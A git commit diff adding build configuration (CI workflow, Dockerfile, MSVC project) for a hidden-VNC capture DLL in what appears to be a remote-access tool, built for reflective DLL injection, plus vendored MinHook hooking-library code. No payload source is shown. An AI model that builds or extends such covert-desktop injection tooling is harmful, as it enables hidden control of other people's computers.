Merge branch 'vxaboveground:main' into main
This commit is contained in:
@@ -21,11 +21,17 @@ jobs:
|
||||
shell: cmd
|
||||
run: call build-hvnc-dll.bat
|
||||
|
||||
- name: Upload HVNCInjection DLL
|
||||
- name: Build HVNCCapture DLL with MSVC
|
||||
shell: cmd
|
||||
run: call build-hvnc-capture-dll.bat
|
||||
|
||||
- name: Upload HVNC DLLs
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: hvnc-dll
|
||||
path: Overlord-Server/dist-clients/HVNCInjection.x64.dll
|
||||
path: |
|
||||
Overlord-Server/dist-clients/HVNCInjection.x64.dll
|
||||
Overlord-Server/dist-clients/HVNCCapture.x64.dll
|
||||
if-no-files-found: error
|
||||
retention-days: 1
|
||||
|
||||
@@ -40,7 +46,7 @@ jobs:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Download HVNCInjection DLL
|
||||
- name: Download HVNC DLLs
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: hvnc-dll
|
||||
|
||||
+15
@@ -8,6 +8,7 @@ RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
build-essential \
|
||||
gcc-mingw-w64-x86-64 \
|
||||
g++-mingw-w64-x86-64 \
|
||||
gcc-mingw-w64-i686 \
|
||||
musl-tools \
|
||||
gcc-aarch64-linux-gnu \
|
||||
@@ -71,6 +72,10 @@ COPY Overlord-Client/ ./Overlord-Client/
|
||||
COPY HVNCInjection/ ./HVNCInjection/
|
||||
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
|
||||
|
||||
# Copy HVNCCapture source and build script for cross-compilation
|
||||
COPY HVNCCapture/ ./HVNCCapture/
|
||||
COPY build-hvnc-capture-dll.sh ./build-hvnc-capture-dll.sh
|
||||
|
||||
# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact).
|
||||
# Fall back to cross-compiling with mingw only if no pre-built DLL exists.
|
||||
RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
|
||||
@@ -81,6 +86,16 @@ RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
|
||||
echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \
|
||||
fi
|
||||
|
||||
# Use MSVC-built HVNCCapture DLL if present (preferred, from CI artifact).
|
||||
# Fall back to cross-compiling with mingw (C++) only if no pre-built DLL exists.
|
||||
RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \
|
||||
echo "Using pre-built MSVC HVNCCapture DLL"; \
|
||||
else \
|
||||
chmod +x build-hvnc-capture-dll.sh && \
|
||||
HVNC_CAPTURE_SRC_DIR=HVNCCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-hvnc-capture-dll.sh || \
|
||||
echo "WARNING: HVNCCapture DLL not available (build with MSVC on Windows)"; \
|
||||
fi
|
||||
|
||||
# Create necessary directories
|
||||
RUN mkdir -p certs public data
|
||||
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{A1B2C3D4-1234-5678-9ABC-DEF012345678}</ProjectGuid>
|
||||
<RootNamespace>HVNCCapture</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<TargetName>$(ProjectName).x64</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>$(ProjectName).x64</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalDependencies>d3d11.lib;dxgi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalDependencies>d3d11.lib;dxgi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="src\DXGICapture.c" />
|
||||
<ClCompile Include="Minhook\src\buffer.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\hook.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\trampoline.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\hde\hde32.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\hde\hde64.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="src\DXGICapture.h" />
|
||||
<ClInclude Include="Minhook\include\MinHook.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,185 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
||||
#error MinHook supports only x86 and x64 systems.
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// MinHook Error Codes.
|
||||
typedef enum MH_STATUS
|
||||
{
|
||||
// Unknown error. Should not be returned.
|
||||
MH_UNKNOWN = -1,
|
||||
|
||||
// Successful.
|
||||
MH_OK = 0,
|
||||
|
||||
// MinHook is already initialized.
|
||||
MH_ERROR_ALREADY_INITIALIZED,
|
||||
|
||||
// MinHook is not initialized yet, or already uninitialized.
|
||||
MH_ERROR_NOT_INITIALIZED,
|
||||
|
||||
// The hook for the specified target function is already created.
|
||||
MH_ERROR_ALREADY_CREATED,
|
||||
|
||||
// The hook for the specified target function is not created yet.
|
||||
MH_ERROR_NOT_CREATED,
|
||||
|
||||
// The hook for the specified target function is already enabled.
|
||||
MH_ERROR_ENABLED,
|
||||
|
||||
// The hook for the specified target function is not enabled yet, or already
|
||||
// disabled.
|
||||
MH_ERROR_DISABLED,
|
||||
|
||||
// The specified pointer is invalid. It points the address of non-allocated
|
||||
// and/or non-executable region.
|
||||
MH_ERROR_NOT_EXECUTABLE,
|
||||
|
||||
// The specified target function cannot be hooked.
|
||||
MH_ERROR_UNSUPPORTED_FUNCTION,
|
||||
|
||||
// Failed to allocate memory.
|
||||
MH_ERROR_MEMORY_ALLOC,
|
||||
|
||||
// Failed to change the memory protection.
|
||||
MH_ERROR_MEMORY_PROTECT,
|
||||
|
||||
// The specified module is not loaded.
|
||||
MH_ERROR_MODULE_NOT_FOUND,
|
||||
|
||||
// The specified function is not found.
|
||||
MH_ERROR_FUNCTION_NOT_FOUND
|
||||
}
|
||||
MH_STATUS;
|
||||
|
||||
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
||||
// MH_QueueEnableHook or MH_QueueDisableHook.
|
||||
#define MH_ALL_HOOKS NULL
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
||||
// at the beginning of your program.
|
||||
MH_STATUS WINAPI MH_Initialize(VOID);
|
||||
|
||||
// Uninitialize the MinHook library. You must call this function EXACTLY
|
||||
// ONCE at the end of your program.
|
||||
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
||||
|
||||
// Creates a hook for the specified target function, in disabled state.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
|
||||
|
||||
// Creates a hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszProcName [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApi(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
|
||||
|
||||
// Creates a hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszProcName [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
// ppTarget [out] A pointer to the target function, which will be used
|
||||
// with other functions.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget);
|
||||
|
||||
// Removes an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
||||
|
||||
// Enables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// enabled in one go.
|
||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
||||
|
||||
// Disables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// disabled in one go.
|
||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to enable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be enabled.
|
||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to disable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be disabled.
|
||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
||||
|
||||
// Applies all queued changes in one go.
|
||||
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
||||
|
||||
// Translates the MH_STATUS to its name as a string.
|
||||
const char *WINAPI MH_StatusToString(MH_STATUS status);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,312 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "buffer.h"
|
||||
|
||||
// Size of each memory block. (= page size of VirtualAlloc)
|
||||
#define MEMORY_BLOCK_SIZE 0x1000
|
||||
|
||||
// Max range for seeking a memory block. (= 1024MB)
|
||||
#define MAX_MEMORY_RANGE 0x40000000
|
||||
|
||||
// Memory protection flags to check the executable address.
|
||||
#define PAGE_EXECUTE_FLAGS \
|
||||
(PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
|
||||
|
||||
// Memory slot.
|
||||
typedef struct _MEMORY_SLOT
|
||||
{
|
||||
union
|
||||
{
|
||||
struct _MEMORY_SLOT *pNext;
|
||||
UINT8 buffer[MEMORY_SLOT_SIZE];
|
||||
};
|
||||
} MEMORY_SLOT, *PMEMORY_SLOT;
|
||||
|
||||
// Memory block info. Placed at the head of each block.
|
||||
typedef struct _MEMORY_BLOCK
|
||||
{
|
||||
struct _MEMORY_BLOCK *pNext;
|
||||
PMEMORY_SLOT pFree; // First element of the free slot list.
|
||||
UINT usedCount;
|
||||
} MEMORY_BLOCK, *PMEMORY_BLOCK;
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
// Global Variables:
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
// First element of the memory block list.
|
||||
static PMEMORY_BLOCK g_pMemoryBlocks;
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
VOID InitializeBuffer(VOID)
|
||||
{
|
||||
// Nothing to do for now.
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
VOID UninitializeBuffer(VOID)
|
||||
{
|
||||
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
|
||||
g_pMemoryBlocks = NULL;
|
||||
|
||||
while (pBlock)
|
||||
{
|
||||
PMEMORY_BLOCK pNext = pBlock->pNext;
|
||||
VirtualFree(pBlock, 0, MEM_RELEASE);
|
||||
pBlock = pNext;
|
||||
}
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity)
|
||||
{
|
||||
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
|
||||
|
||||
// Round down to the allocation granularity.
|
||||
tryAddr -= tryAddr % dwAllocationGranularity;
|
||||
|
||||
// Start from the previous allocation granularity multiply.
|
||||
tryAddr -= dwAllocationGranularity;
|
||||
|
||||
while (tryAddr >= (ULONG_PTR)pMinAddr)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
|
||||
break;
|
||||
|
||||
if (mbi.State == MEM_FREE)
|
||||
return (LPVOID)tryAddr;
|
||||
|
||||
if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity)
|
||||
break;
|
||||
|
||||
tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity)
|
||||
{
|
||||
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
|
||||
|
||||
// Round down to the allocation granularity.
|
||||
tryAddr -= tryAddr % dwAllocationGranularity;
|
||||
|
||||
// Start from the next allocation granularity multiply.
|
||||
tryAddr += dwAllocationGranularity;
|
||||
|
||||
while (tryAddr <= (ULONG_PTR)pMaxAddr)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
|
||||
break;
|
||||
|
||||
if (mbi.State == MEM_FREE)
|
||||
return (LPVOID)tryAddr;
|
||||
|
||||
tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
|
||||
|
||||
// Round up to the next allocation granularity.
|
||||
tryAddr += dwAllocationGranularity - 1;
|
||||
tryAddr -= tryAddr % dwAllocationGranularity;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin)
|
||||
{
|
||||
PMEMORY_BLOCK pBlock;
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
ULONG_PTR minAddr;
|
||||
ULONG_PTR maxAddr;
|
||||
|
||||
SYSTEM_INFO si;
|
||||
GetSystemInfo(&si);
|
||||
minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress;
|
||||
maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress;
|
||||
|
||||
// pOrigin ± 512MB
|
||||
if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE)
|
||||
minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE;
|
||||
|
||||
if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE)
|
||||
maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE;
|
||||
|
||||
// Make room for MEMORY_BLOCK_SIZE bytes.
|
||||
maxAddr -= MEMORY_BLOCK_SIZE - 1;
|
||||
#endif
|
||||
|
||||
// Look the registered blocks for a reachable one.
|
||||
for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext)
|
||||
{
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
// Ignore the blocks too far.
|
||||
if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr)
|
||||
continue;
|
||||
#endif
|
||||
// The block has at least one unused slot.
|
||||
if (pBlock->pFree != NULL)
|
||||
return pBlock;
|
||||
}
|
||||
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
// Alloc a new block above if not found.
|
||||
{
|
||||
LPVOID pAlloc = pOrigin;
|
||||
while ((ULONG_PTR)pAlloc >= minAddr)
|
||||
{
|
||||
pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity);
|
||||
if (pAlloc == NULL)
|
||||
break;
|
||||
|
||||
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
|
||||
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (pBlock != NULL)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Alloc a new block below if not found.
|
||||
if (pBlock == NULL)
|
||||
{
|
||||
LPVOID pAlloc = pOrigin;
|
||||
while ((ULONG_PTR)pAlloc <= maxAddr)
|
||||
{
|
||||
pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
|
||||
if (pAlloc == NULL)
|
||||
break;
|
||||
|
||||
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
|
||||
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (pBlock != NULL)
|
||||
break;
|
||||
}
|
||||
}
|
||||
#else
|
||||
// In x86 mode, a memory block can be placed anywhere.
|
||||
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
|
||||
NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
#endif
|
||||
|
||||
if (pBlock != NULL)
|
||||
{
|
||||
// Build a linked list of all the slots.
|
||||
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1;
|
||||
pBlock->pFree = NULL;
|
||||
pBlock->usedCount = 0;
|
||||
do
|
||||
{
|
||||
pSlot->pNext = pBlock->pFree;
|
||||
pBlock->pFree = pSlot;
|
||||
pSlot++;
|
||||
} while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE);
|
||||
|
||||
pBlock->pNext = g_pMemoryBlocks;
|
||||
g_pMemoryBlocks = pBlock;
|
||||
}
|
||||
|
||||
return pBlock;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
LPVOID AllocateBuffer(LPVOID pOrigin)
